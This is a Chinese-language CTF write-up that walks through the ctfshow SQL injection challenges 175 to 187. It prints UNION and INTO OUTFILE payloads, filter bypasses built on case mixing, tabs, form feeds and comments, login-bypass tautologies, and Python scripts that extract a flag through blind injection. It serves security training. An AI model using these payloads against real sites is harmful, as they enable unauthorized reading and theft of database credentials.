适合小白ctfshow-web入门—sql注入175-248超详细解析!!
web 175
将数据输出到一个文件中,然后访问对应文件
-1' union select username,password from ctfshow_user5 into outfile "/var/www/html/1.txt"--+
1)union select username, password from ctfshow_user5
: 这是一个UNION查询,它将原始查询的结果与从表 ctfshow_user5
中选择的用户名和密码进行合并。
2)into outfile "/var/www/html/1.txt"
: 这部分似乎是将查询结果导出到文件。路径 /var/www/html/1.txt
表示要将查询结果写入到位于网页根目录下的名为 1.txt
的文件中。
(路径 /var/www/html/
是一个常见的用于存放网页文件的目录,通常被称为网页根目录。在许多Web服务器中,这个目录被设置为存放网站的主要文件,因此可以通过浏览器访问。)
web176
过滤了select
,通过大小写即可绕过
1'union sElect 1,2,group_concat(password) from ctfshow_user--+
解法二
万能密码:
1' or 1=1--+
web 177——/**/绕过空格
解法一:万能密码
1'or/**/1=1%23
解法二:正常查询
1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23
%23
: 这是URL编码中表示字符 #
的方式。在SQL查询中,%23
后的内容将被视为注释,从而忽略后续的内容。这种写法可能是为了防止后续内容被执行。
web 178
解法一
过滤了空格与*号等用%09
绕过1'%09union%09select%091,2,3%23
之后一把梭得到flag 1'%09union%09select%091,2,password%09from%09ctfshow_user%23
%09
是URL编码中表示水平制表符(Tab键)的方式。URL编码是一种将特殊字符转换为URL安全格式的方法,以便在URL中传输这些字符而不会造成歧义或错误。
%09
被用来表示水平制表符。在SQL注入攻击中,攻击者有时会使用各种编码方式来试图绕过输入过滤或检测,从而执行恶意操作。在这个特定的查询中,使用 %09
作为空格的替代,可能是为了试图混淆代码,使得检测和防御机制更难识别和阻止注入攻击。
解法二
id=1'or'1'='1'%23
web179
解法一
一句话梭哈id=1'or'1'='1'%23
解法二
这次还把%09
过滤了,测试了下发现%0c
可以绕过
所以1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23
web 180
1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername%0c=%0c'flag')%0c--%0c
这段代码中的 (select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername%0c=%0c'flag')
是一个子查询。子查询是一个嵌套在主查询内部的查询语句,它可以在主查询的结果中嵌入另一个查询以获取更详细或特定的数据。
在这个特定的查询中,子查询的目的是从表 ctfshow_user
中选择用户名为 'flag'
的记录,并获取其密码信息。
让我们分解这个子查询的每个部分:
-
select%0cpassword%0c
: 这部分指定了要从表中选择的列,即password
列。 -
from%0cctfshow_user
: 这部分指定了数据来源,即从表ctfshow_user
中选择数据。 -
where%0cusername%0c=%0c'flag'
: 这部分是一个条件,它限制了只选择用户名为'flag'
的记录。
整个子查询的目的是在主查询中获取 ctfshow_user
表中用户名为 'flag'
的记录的密码。
将子查询放在 ( ... )
内部是因为它可以被视为一个单独的数据项,就像在整个主查询中选择的其他列一样。这使得子查询的结果能够嵌套在主查询的结果中。
web181
空格过滤了很多,select也被过滤了。
题目的where语句处是and连接两个条件。可以考虑运算符优先级
优先级 | 运算符 |
---|---|
1 | := |
2 | || , OR , XOR |
3 | && , AND |
and的优先级高于or,需要同时满足两边的条件才会返回true,那么后面可以接一个or,or的两边有一个为true,既可以满足and。即:1 and 0 or 1
可以让where直接查找flag,最后的payload为:-1'||username='flag
这道题%0c
也可以:-1'%0cor%0cusername='flag
web182
解答:增加了flag过滤。like可以模糊匹配
%0c
在本题依旧可用。
payload:-1'||(username)like'%fla%
like可以用两个通配符(不区分大小写):
字符 | 说明 |
---|---|
% | 匹配任何数目的字符,甚至包括零字符 |
_ | 只能匹配一种字符,例如,字符串“ab_”匹配以字符串“ab”开始长度为3的字符串 |
web183
import requests
import string
url = 'http://ec30edd1-31ee-45ae-9db4-7db5f4b6c83d.challenge.ctf.show/select-waf.php'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = "`ctfshow_user`where(pass)like'ctfshow{"
for i in range(40):
for char in uuid:
data = {
'tableName' : passwd +f"{char}%'"
}
res = requests.post(url, data=data)
if "$user_count = 1;" in res.text:
passwd += char
print(passwd)
break
string.digits
包含了所有数字字符(0到9)。string.ascii_lowercase
包含了所有小写字母字符(a到z)。
web184
过滤的有点多,where、单双引号、反引号都被过滤了,但是本题没有过滤空格。
where可以用having代替,单双引号可以用 括号+十六进制。
一个HAVING子句必须位于GROUP BY子句之后,并位于ORDER BY子句之前。
十六进制:可以前面加x,后面用引号包裹或者0x;也可以和算数运算结合表示数字。
用pycharm将ctfshow{%这个utf-8编码转换为十六进制字符串,最终得到 ctfshow_user group by pass having pass like 0x63746673686f777b25
import requests
import string
url = 'http://e62dd2da-6dc5-4d4c-8907-ab198e411f30.challenge.ctf.show/select-waf.php'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = 'ctfshow_user group by pass having pass regexp(0x63746673686f777b' #ctfshow{
for i in range(40):
for char in uuid:
data = {
'tableName' : passwd +f"{hex(ord(char))[2:]})"
}
res = requests.post(url, data=data)
if "$user_count = 1;" in res.text:
passwd += hex(ord(char))[2:]
print(passwd)
break
web185(过滤数字)
expression | 值 |
---|---|
false | 0 |
true | 1 |
true+true | 2 |
floor(pi()) | 3 |
ceil(pi()) | 4 |
floor(pi())+true | 5 |
floor(pi())+floor(pi()) | 6 |
floor(pi())+ceil(pi()) | 7 |
ceil(pi())+ceil(pi()) | 8 |
floor(pi())*floor(pi()) | 9 |
floor(pi())*floor(pi())+true | 10 |
web185
import requests
url = 'http://a4665c0e-90e4-4d21-b12f-9885d1508bca.challenge.ctf.show/select-waf.php'
strlist = '{0123456789-abcdef}'
flagstr = ''
flag = ''
strdict = {'0':'false,','1':'true,','2':'(true+true),',
'3':'(true+true+true),','4':'(true+true+true+true),',
'5':'(true+true+true+true+true),','6':'(true+true+true+true+true+true),',
'7':'(power((true+true),(true+true+true))-true),',
'8':'(power((true+true),(true+true+true))),',
'9':'(power((true+true),(true+true+true))+true),'
}
for j in range(666): #不知道 flag 长度,尽量长一点(实际有38位,从{算起,到}结束)
for i in strlist:
m = ''
#将每个字符转成 Unicode编码对应的十进制(Unicode编码为ASCII码扩展)
#对其十进制进行拆分转换,这样可以降低一点时间复杂度
for x in str(ord(i)):
m += strdict[x]
m = 'char(concat('+m[:-1]+')),'
data = {
'tableName': "ctfshow_user group by pass having pass regexp(concat({}))".format(flagstr+m[:-1])
}
respond = requests.post(url, data=data) # 获取页面代码
respond = respond.text # 解析成字符串类型
if 'user_count = 1' in respond:
print('--------------------正确',i)
flagstr += m
flag += i
print('ctfshow'+flag)
break
else:print('==================='+i+'错误')
if flag[-1] == '}':exit() #判断 flag 是否获取完整
web187
看到md5($password,true)
,立马想到可以用万能密码绕过
ffifdyop
129581926211651571912466741651878684928